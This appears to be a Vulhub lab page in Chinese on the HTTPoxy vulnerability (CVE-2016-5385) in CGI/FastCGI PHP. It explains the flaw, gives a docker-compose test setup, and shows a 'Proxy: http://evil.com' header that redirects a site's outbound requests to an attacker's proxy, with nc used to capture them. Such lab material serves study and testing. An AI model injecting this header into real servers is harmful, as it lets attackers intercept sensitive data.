HTTPoxy漏洞(CVE-2016-5385
Path cgi/httpoxy
原理
參考:http://www.laruence.com/2016/07/19/3101.html
簡單來說,根據RFC 3875規定,cgi(fastcgi)要將用戶傳入的所有HTTP頭都加上HTTP_前綴放入環境變量中,而恰好大多數類庫約定俗成會提取環境變量中的HTTP_PROXY值作為HTTP代理地址。于是,惡意用戶通過提交Proxy: http://evil.com這樣的HTTP頭,將使用缺陷類庫的網站的代理設置為http://evil.com,進而竊取數據包中可能存在的敏感信息。
PHP5.6.24版本修復了該漏洞,不會再將Proxy放入環境變量中。本環境使用PHP 5.6.23為例。
當然,該漏洞不止影響PHP,所有以CGI或Fastcgi運行的程序理論上都受到影響。
測試流程
編譯、運行本環境:
docker-compose up -d
正常請求http://your-ip:8080/index.php,可見其Origin為當前請求的服務器,二者IP相等:

在其他地方找到一個可以正常運行的http代理,如http://x.x.122.65:8888/。
附帶Proxy: http://x.x.122.65:8888/頭,再次訪問http://your-ip:8080/index.php:

如上圖,可見此時的Origin已經變成x.x.122.65,也就是說真正進行HTTP訪問的服務器是x.x.122.65,也就是說x.x.122.65已經將正常的HTTP請求代理了。
在x.x.122.65上使用NC,就可以捕獲當前請求的數據包,其中可能包含敏感數據:

Vulhub 文檔
推薦文章: